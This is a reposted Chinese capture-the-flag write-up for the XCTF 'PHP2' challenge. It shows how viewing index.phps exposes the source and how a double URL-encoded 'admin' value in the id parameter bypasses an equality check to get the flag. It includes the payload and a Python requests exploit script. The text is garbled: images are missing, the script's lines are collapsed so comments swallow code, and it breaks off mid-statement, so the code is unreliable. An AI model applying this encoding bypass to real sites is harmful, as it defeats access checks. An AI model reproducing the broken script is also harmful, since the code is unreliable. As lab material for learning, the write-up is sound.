本文共 1011 字,大约阅读时间需要 3 分钟。
题目:
启动靶机,打开环境:
你能浏览这个网站嘛?首先访问index.php
,可以正常访问,尝试查看index.phps
文件(.phps
文件就是php
的源代码文件,通常用于提供给访问者查看php
代码):
id
的值,不能等于admin
,经过URL
解码后等于admin
将输出key
,因为服务器会进行一次URL
解码,所以我们将admin
进行二次编码: 得到最后的传输值为: ?id=%2561%2564%256d%2569%256e
传输数据得到flag
:
EXP如下:
# -*- coding:utf-8 -*-# name: Meng# mail: 614886708@qq.com# ctf_exp02: XCTF PHP2import requestsimport reclass PostUrl: def __init__(self, url_input): # 对输入的url做补全 if url_input.endswith('index.php') or url_input.endswith('index.php/'): self.url = url_input elif url_input.endswith('/'): self.url = url_input + 'index.php' else: self.url = url_input + '/index.php' self.data = { 'id': '%61%64%6d%69%6e'} # 需要传递的数据 self.flag = '' # 最终flag def get_flag(self): r = requests.get(self.url) # 判断返回页面内容 if 'Can you anthenticate to this website?' in r.text: r = requests.get(self.url + 's') if '
输入题目链接,得到flag:
转载地址:http://qcraf.baihongyu.com/